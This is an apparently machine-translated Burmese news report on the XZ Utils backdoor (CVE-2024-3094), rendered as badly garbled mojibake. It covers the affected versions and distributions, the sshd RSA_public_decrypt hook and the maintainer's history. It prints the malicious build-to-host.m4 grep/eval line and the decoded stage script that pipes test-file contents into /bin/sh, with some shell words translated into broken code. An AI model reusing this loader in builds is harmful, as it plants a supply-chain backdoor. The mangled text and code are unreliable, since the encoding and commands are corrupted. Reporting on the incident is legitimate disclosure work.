".xz" áá±á¬áºáááºááœáẠáá»á¯á¶á·áá¬ážáá±á¬áá±áá¬ááŒáá·áº áá¯ááºáá±á¬ááºáááºá¡ááœáẠliblzma á á¬ááŒáá·áºááá¯ááºááŸáá·áº utilities áá»á¬ážáá«áááºááá·áº XZ Utils áááºáá±á·áá»áºááœááºá áááºá ááºá¡ááá®áá±ážááŸááºážáá»á¬ážá០ááŒá¬ážááŒááºáá¯ááºáá±á¬ááºááŒá®áž áá±áá¬áá»á¬ážááᯠááŒá¯ááŒááºááœááºážáá¶ááŒááºážá¡á¬áž ááœáá·áºááŒá¯ááá·áº backdoor (CVE-2024-3094) ááᯠáá±á¬áºáá¯ááºáá²á·áááºá liblzma á á¬ááŒáá·áºááá¯ááºááŸáá·áºá¡áá°á backdoor á á¡ááááá áºááŸááºááŸá¬ á¡áá»áá¯á·áá±á¬ ááŒáá·áºáá±ááŸá¯áá»á¬ážááœáẠlibsystemd á á¬ááŒáá·áºááá¯ááºááŒáá·áº áá¯ááºááá¯ážáá¬ážááá·áº OpenSSH áá¬áá¬ááŒá áºáááºá sshd ááᯠá¡á¬ážáááºážáá»ááºááŸááá±á¬ á á¬ááŒáá·áºááá¯ááºáá áºáá¯ááŸáá·áº áá»áááºáááºááŒááºážááẠááá¯ááºááá¯ááºáá°áá»á¬ážá¡á¬áž á á áºááŸááºááŒá±á¬ááºážá¡áá±á¬ááºá¡áá¬ážáááŸááá² SSH áá¬áá¬ááá¯á· áááºáá±á¬ááºááœáá·áºáááŸáá á±áá«áááºá
Backdoor ááẠáá±áá±á¬áºáá«áá®á 5.6.0 ááŸáá·áº áááºá 5.6.1 áááºáá±á·áá»á¬ážááœáẠáá¯ááºáá±áá²á·áá±á¬ ááá¬ážáááºááœááºááŸááá¬ážáá±á¬ 24 ááŸáá·áº 9 ááœááºááŸááá±ááŒá®ážá á¥ááá¬á Gentooá Arch Linuxá Debian sid/unstableá Fedora Rawhide ááŸáá·áº Fedora Rawhide ááŸáá·áº 40-betaá openSUSE á ááºáá¯á¶ááŸáá·áº tumbleweedá LibreELECá Alpine edgeá Solusá NixOS ááááºáááŒáááºá OpenIndianaá OpenMandriva rollingá pkgsrc áááºááŸáá Slackware áááºááŸáá Manjaro á ááºážáááºááŒááºážá xz 5.6.0 ááŸáá·áº 5.6.1 áá¯ááºáá±ááŸá¯áá»á¬ážááᯠá¡áá¯á¶ážááŒá¯áá°á¡á¬ážáá¯á¶ážááᯠáá¬ážááŸááºáž 5.4.6 ááá¯á· á¡ááŒááºááŒááºáááºááẠá¡ááŒá¶ááŒá¯áá¬ážáááºá
ááŒá¿áá¬ááá¯áá»á±á¬á·áá«ážá á±ááá·áºá¡áá»ááºáá»á¬ážáá²ááœááºá backdoor áá«ááŸááá±á¬ liblzma áá¬ážááŸááºážááẠááŒá®ážáá¬ážáá±á¬ááŒáá·áºáá±ááŸá¯áá»á¬ážááááºááŒáááºáá±á¬ááŒáá·áºáá»áááŸá¯áá»á¬ážááá áºá áááºáá áºááá¯ááºážááŒá áºáá¬á á±áááºáá á®áá¶ááá¯ááºáá±á¬áºáááºáž openSUSE Tumbleweed ááŸáá·áº Fedora 40-beta ááá¯á·ááᯠááááá¯ááºá á±áá²á·áááºááᯠááŸááºáá¬ážááá¯ááºáá«áááºá Arch Linux ááŸáá·áº Gentoo ááá¯á·ááẠzx á á¡á¬ážáááºážáá»ááºááŸááá±á¬ áá¬ážááŸááºážááᯠá¡áá¯á¶ážááŒá¯áá¬ážáá±á¬áºáááºáž áááºážááá¯á·ááẠopenssh ááœáẠsystemd-notify patch ááᯠá¡áá¯á¶ážáááŒá¯áá±á¬ááŒá±á¬áá·áº sshd ááᯠliblzma ááŸáá·áº áá»áááºáááºáá¬ážáá±á¬ááŒá±á¬áá·áº ááá¯ááºááá¯ááºáá¶áááá¯ááºáá»á±áááŸááá«á Backdoor ááẠLinux kernel ááŸáá·áº Glibc C á á¬ááŒáá·áºááá¯ááºááá¯á·ááᯠá¡ááŒá±áá¶ááá·áº x86_64 á áá áºáá»á¬ážááá¯áᬠáááºáá±á¬ááºááŸá¯ááŸááááºá
á¡áá±á¬ááºá¡áŠá¡ááœááºáž á¡á±á¬áºááá¯áááºáá áºáááááá¬á¡á á¯á¶áá¯á¶ážáá±á¬ build-to-host.m4 ááá¯ááºá០áá±á¬ááºáá¶ááœáá·áºááŒááºážáá¯ááºááᯠm4 áááºáááá¯ááœáẠááŸááºáá¬ážáááºá á á¯áá±ážá ááºá¡ááœááºážá áá±á¬áºááœááºážááá¯ááºáá»á¬áž (bad-3-corrupt_lzma2.xzá good-large_compressed.lzma) ááᯠá¡ááŒá±áá¶á ááŸá¯ááºááœá±ážááŸá¯ááºááœá±ážáá±á¬ áá¯ááºáá±á¬ááºááŸá¯áá»á¬ážááᯠáá¯ááºáá±á¬ááºáá±á ááºá áá¯ááºáá±á¬ááºáá»ááºá ááŸááºáááºááŸá¯ááᯠá ááºážáááºáááºá¡ááœáẠá¡áá¯á¶ážááŒá¯ááá·áº á¡áá¬ááá¹áá¯ááá¯ááºááᯠáá¯ááºáá±ážáá²á·ááŒá®áž áááºážááœáẠááá·áºááœááºážáá¬ážááá·áºá liblzma á á¬ááŒáá·áºááá¯ááºááŸáá·áº áááºážááá¯ááºáá±á¬ááºáá»ááºá¡áá»áá¯á·ááᯠáá¯ááºáá±á¬ááºáá»ááºáá±á¬á·áá»á áºááᯠááŒá±á¬ááºážáá²áá²á·áááºá áá±á¬ááºáá¶-á¡áááºáááºá á±áá±á¬ m4 áááºáááá¯áá»á¬ážááᯠáá¯ááºááœáŸááºááá·áº tarballs ááœáẠáá«áááºáá±á¬áºáááºáž Git repository ááœáẠááá«áááºáá«á áá áºáá»áááºáááºážááŸá¬áááºá á¡áá¹ááá¬ááºááŸááá±á¬ á ááºážáááºááŸá¯ááŸááºáááºážáá»á¬ážááẠááá¯ááŸá±á¬ááºáááºážááœáẠááŸááá±ááẠá ááá¯ááá¯áááºááŸá¬á Backdoor ááá¯á¡áá±á¬ááºá¡áááºáá±á¬áºáá°ááẠrepository ááŸáá·áº release generation process ááŸá áºáá¯áá¯á¶ážááá¯á·áááºáá±á¬ááºááœáá·áºááŸááááºá
á¡ááá®áá±ážááŸááºážáá»á¬ážááœáẠliblzma ááá¯á¡áá¯á¶ážááŒá¯ááá·áºá¡áá«á á¡áá¹ááá¬ááºááŸááá±á¬ááŒá±á¬ááºážáá²ááŸá¯áá»á¬ážááᯠáá±áá¬ááᯠááŒá¬ážááŒáẠááá¯á·ááá¯áẠááœááºážáá¶ááẠááá¯á·ááá¯áẠsshd ááá¯ááºáá±á¬ááºááŸá¯ááᯠááááá¯ááºááá¯ááºáááºá á¡áá°ážáááŒáá·áºá á¡áá¹ááá¬ááºááŸááá±á¬áá¯ááºááẠsshd á á áºááŸááºááŒá±á¬ááºážá¡áá±á¬ááºá¡áá¬ážááŒááŒááºážáá¯ááºáááºážá ááºááᯠáá»á±á¬áºááœáŸá¬ážááẠRSA_public_decrypt áá¯ááºáá±á¬ááºáá»ááºááᯠá¡áá¯á¡áá±á¬ááºááŒá¯áá¯ááºáá²á·áááºá Backdoor ááœáẠáá±á¬ááºááŸááºážááŒááºážá០á¡áá¬á¡ááœáẠáá«áááºááŒá®áž LANG ááŸáá·áº TERM áááºáááºážáá»áẠááááºážááŸááºáá»á¬ážááᯠáááºááŸááºááá·áºá¡áá« (á¥ááá¬á terminal ááœáẠáá¯ááºáááºážá ááºááᯠáá¯ááºáá±á¬ááºáá±áá»áááº) ááŸáá·áº LD_DEBUG ááŸáá·áº LD_PROFILE áááºáááºážáá»áẠááááºážááŸááºáá»á¬ážááᯠááááºááŸááºáá¬ážáá² áááºážááᯠáá¯ááºáá±á¬ááºááá·áºá¡áá«ááœááºáááºáž activated ááŒá áºáá²á·áá«áááºá /usr/sbin/sshd áááºáááºááá¯ááºáá±á¬ááá¯ááºá Backdoor ááẠá¡ááŸá¬ážááŸá¬ááŒááºááá·áº áááºáááºážáá»ááºáá»á¬ážááœáẠáá¯ááºáá±á¬ááºááŸá¯ááᯠáá±á¬ááºááŸááºážááá¯ááºááá·áº áááºážáááºážáááºáž áá«ááŸááááºá
á¡áá°ážáááŒáá·áºá m4/build-to-host.m4 ááá¯ááºááẠgl_am_configmake=`grep -aErls â#{4}[[:alnum:]]{5}#{4}$â $srcdir/ 2>/dev/ ááᯠá¡áá¯á¶ážááŒá¯áá¬ážáááºá null` ⊠gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
ááááááºáá±á¬ááºááŸá¯ááœááºá grep áá¯ááºáá±á¬ááºáá»ááºááẠááá¯áẠtests/files/bad-3-corrupt_lzma2.xz ááá¯ááœá±á·ááŸááá²á·ááŒá®ážá áá¯ááºááá¯ážááŒá®ážáá±á¬á¡áá«á script ááá¯áá¯ááºáá±ážáááº- ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && ááœááºááẠ0 [ ! $(uname) = "Linux" ] && ááœááºááẠ0 [ ! $(uname) = "Linux" ] && ááœááºááẠ0 [ ! $(uname) = "Linux" ] && ááœááºááẠ0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` á ááºážáááºáá»áŸáẠ-f ../../config.status;then eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi áá¯ááºáá°ááŸá¯ i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && áŠážáá±á«ááºáž -c +2048 && (áŠážáá±á«ááºáž -c +1024 >/dev/null) && áŠážáá±á«ááºáž -c +2048 && (áŠážáá±á«ááºáž -c +1024 >/dev/null) && áŠážáá±á«ááºáž -c +2048 && (áŠážáá±á«ááºáž - c +1024 >/dev/null) && áŠážáá±á«ááºáž -c +2048 && (áŠážáá±á«ááºáž -c +1024 >/dev/null) && áŠážáá±á«ááºáž -c +2048 && (áŠážáá±á«ááºáž -c +1024 >/dev/null) && áŠážáá±á«ááºáž - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && áŠážáá±á«ááºáž -c +2048 && (áŠážáá±á«ááºáž -c +1024 >/dev/null) && áŠážáá±á«ááºáž -c +2048 && (áŠážáá±á«ááºáž -c +1024 >/dev/null) && áŠážáá±á«ááºáž -c +2048 && ( áŠážáá±á«ááºáž -c +1024 >/dev/null) && áŠážáá±á«ááºáž -c +2048 && (áŠážáá±á«ááºáž -c +1024 >/dev/null) && áŠážáá±á«ááºáž -c +2048 && (áŠážáá±á«ááºáž -c +1024 >/dev/null) && áŠážáá±á«ááºáž -c +2048 && (áŠážáá±á«ááºáž -c +1024 >/dev/null) && áŠážáá±á«ááºáž -c +2048 && (áá±á«ááºáž-c +1024 >/dev/null) && áŠážáá±á«ááºáž -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F á¡ááŒááºáž âlzma1 -dc|/bin/sh ####ááá¹áá¬####
ááá¯ááºááá¯ááºáá°áá»á¬ážááẠxz ááá±á¬áá»ááºá á¡ááŒá±áá¶á¡áá±á¬ááºá¡á¡á¯á¶ááᯠáááºááá¯á·áááºáá±á¬ááºááœáá·áºáá¡á±á¬áẠá á®áá¶áá²á·áááºááᯠá¡ááŒáá·áºá¡á á¯á¶ áááŸááºážáááºážáá±ážáá«á Backdoor ááŒá±á¬áá·áº áá¯á¶ážá áœá²áá°áá»á¬ážááŸáá·áº ááá±á¬áá»ááºáá»á¬áž áááºáá»áŸ á¡áá±ážá¡áá°áá¯ááºáá²á·áááºááᯠááŸááºážááŸááºážáááºážáááºáž áááááá±ážáá«á repository ááœáẠá¡áá¹ááá¬ááºááŸááá±á¬áá¯ááºáá»á¬ážááŒáá·áº áá±á¬áºááœááºážáááºáá¬ážáá±á¬ backdoor (JiaT75 - Jia Tan) á á¡á áœááºá áœá²á á¬áá±ážááá¬ááẠFedora developer áá»á¬ážááŸáá·áº áááºááœááºáá²á·ááŒá®áž xz 5.6.0 áá¬áááœá²ááá¯á· ááŒáá·áºáá»á®ááŸá¯á¡áá°ážá¡ááŒá±á¬ááºážááŸáá·áºáááºáááºááá·áº áá±á¬ááºážááá¯áá»ááºáá»á¬ážá¡á¬áž Debian ááá¯á· áá±ážááá¯á·áá²á·ááŒá®ážá xz ááœááºáá«áááºáá²á·ááá·áºá¡ááœáẠáá¶ááá áááºááẠááœááºáá²á·ááá·áºááŸá áºááŸá áºááááºážá ááœá¶á·ááŒáá¯ážáá¬áá²á·ááŒá®áž ááŒá±á¬ááºážáá²ááŸá¯á¡áá±á¡ááœááºá¡á áá¯ááá developer ááŒá áºáá¬áá²á·áááºá xz ááá±á¬áá»ááºá¡ááŒááºá backdoor ááá±ážáá¬ážáá°ááẠxz-java ááŸáá·áº xz-embedded packages áá»á¬ážááœá¶á·ááŒáá¯ážááá¯ážáááºáá±ážááœááºáááºáž áá«áááºáá²á·áááºá ááá¯á·á¡ááŒááºá Jia Tan ááẠááœááºáá²á·ááá·áºáááºá¡áááºážáááºá Linux kernel ááœááºá¡áá¯á¶ážááŒá¯ááá·áº XZ Embedded ááá±á¬áá»ááºá ááááºážááááºážáá°á¡áá±á¡ááœááºááœáẠáá«áááºáá²á·áááºá
ssh ááŸáááá·áº Debian sid-based á
áá
áºáá»á¬ážááá¯á· áá»áááºáááºáá±á¬á¡áá« valgrind ááŸáá¯ááºáá±ážáá±á¬ á¡ááŸá¬ážá¡ááœááºážáá»á¬ážááᯠááœá²ááŒááºážá
áááºááŒá¬ááŒá®ážáá±á¬áẠá¡áá¹ááá¬ááºááŸááá±á¬ááŒá±á¬ááºážáá²ááŸá¯ááᯠááŸá¬ááœá±ááœá±á·ááŸááá²á·áááºá xz 5.6.1 áá¯ááºáá±ááŸá¯ááœáẠbackdoor ááŸáá·áº zx 5.6.0 áá¬ážááŸááºážááá¯á· á¡ááá·áºááŒáŸáá·áºáááºááŒá®ážáá±á¬áẠááŒá
áºáá±á«áºáá¬áá±á¬ sshd ááŸá±ážááœá±ážááŸá¯ááŸáá·áº áá»ááºá
á®ážááŸá¯áá»á¬ážá¡ááŒá±á¬ááºáž ááá¯ááºááŒá¬ážáá»ááºáá»á¬ážááᯠáá¯á¶á·ááŒááºááá·áºá¡áá±ááŒáá·áº backdoor á áá±ážáá¬ážáá°á០ááŒááºáááºáá¬ážáá±á¬ á¡ááŒá±á¬ááºážá¡áá²áá»á¬áž áá«áááºááŒá±á¬ááºáž ááŸááºáá¬ážááœááºááœá±á·ááŸáááááºá ááá¯á·á¡ááŒáẠááááºááŸá
áºá Jia Tan ááẠ"-fsanitize=address" á
á
áºáá±ážáá±ážáá¯ááºááŸáá·áº ááá¯ááºáá®ááŸá¯áááŸááá±á¬ á¡ááŒá±á¬ááºážá¡áá²áá»á¬ážááᯠááŒá¯áá¯ááºáá²á·ááŒá®áž fuzz á
ááºážáááºá
ááºá¡ááœááºáž áááºážá¡á¬áž ááááºáá¬ážáá²á·ááááºá
source: opennet.ru